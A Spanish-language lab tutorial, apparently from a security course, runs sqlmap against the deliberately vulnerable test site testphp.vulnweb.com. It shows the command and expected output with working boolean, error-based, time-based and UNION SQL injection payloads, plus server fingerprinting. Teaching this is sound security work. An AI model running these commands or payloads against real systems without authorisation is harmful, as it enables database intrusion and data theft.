Detección de una Vulnerabilidad de Inyección SQL
Ahora que sqlmap está instalado, puedes comenzar a probar una aplicación web en busca de vulnerabilidades de inyección SQL. Para este laboratorio, utilizaremos un sitio web disponible públicamente, diseñado intencionalmente con vulnerabilidades para pruebas de seguridad. El primer paso en cualquier ataque de inyección SQL es identificar un parámetro vulnerable.
La URL de destino para este laboratorio es http://testphp.vulnweb.com/listproducts.php?cat=1. El parámetro cat=1 es un punto de entrada potencial para la inyección. Utilizaremos sqlmap para probar automáticamente este parámetro.
Ejecuta el siguiente comando para iniciar la prueba. El parámetro -u especifica la URL de destino. Utilizamos el parámetro --batch para que sqlmap se ejecute con sus respuestas predeterminadas a cualquier pregunta interactiva, haciendo que el proceso sea más rápido y no requiera intervención manual.
sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" --batch
sqlmap realizará una serie de pruebas contra la URL. Analizará las respuestas para determinar si el parámetro cat es inyectable. Este proceso puede tardar uno o dos minutos mientras prueba varias técnicas de inyección SQL.
Una vez finalizado el escaneo, revisa la salida. Deberías encontrar una sección que confirme la vulnerabilidad.
Salida Esperada (truncada):
---
Parameter: cat (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: cat=1 AND 7125=7125
Type: error-based
Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
Payload: cat=1 AND GTID_SUBSET(CONCAT(0x71786a6a71,(SELECT (ELT(8227=8227,1))),0x716a627071),8227)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: cat=1 AND (SELECT 7601 FROM (SELECT(SLEEP(5)))jbZM)
Type: UNION query
Title: Generic UNION query (NULL) - 11 columns
Payload: cat=1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x71786a6a71,0x4a484f686a79456477714b47526758645944704b4645674b784a76507569597a494170424a766642,0x716a627071),NULL,NULL,NULL,NULL-- -
---
[HH:MM:SS] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx 1.19.0, PHP 5.6.40
back-end DBMS: MySQL >= 5.6
[HH:MM:SS] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/testphp.vulnweb.com'
La salida confirma que el parámetro cat es vulnerable a múltiples tipos de ataques de inyección SQL:
- Boolean-based blind: Utiliza lógica de verdadero/falso para extraer datos.
- Error-based: Explota los mensajes de error de la base de datos para revelar información.
- Time-based blind: Utiliza retrasos en las respuestas para confirmar la inyección.
- UNION query: Combina resultados de múltiples sentencias SELECT.
El escaneo también identifica que la base de datos de respaldo es MySQL versión 5.6 o superior, ejecutándose en un sistema Linux Ubuntu con Nginx y PHP. Esta información detallada de "huella digital" (fingerprinting) guía los siguientes pasos en el proceso de explotación.